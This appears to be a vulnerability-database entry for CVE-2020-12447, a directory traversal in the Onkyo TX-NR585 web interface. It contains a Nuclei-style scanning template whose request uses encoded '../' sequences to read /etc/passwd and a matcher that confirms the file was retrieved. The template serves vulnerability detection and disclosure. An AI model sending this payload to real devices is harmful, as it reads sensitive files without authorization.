CVE-2020-12447: Onkyo TX-NR585 Web Interface - Directory Traversal

2025-08-01 Onkyo TX-NR585 Web Interface PoC Public

Description

Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.

PoC

id: CVE-2020-12447

info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.13704
    epss-percentile: 0.96296
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea2e09b4a5e3747bb41b7abd97e89483533959c89a284d6ff3fbbabf3e2176b3022100fc64894e78f3d4f6d58f538d8b764191abe069ad245019e0e48962863e86a2fb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities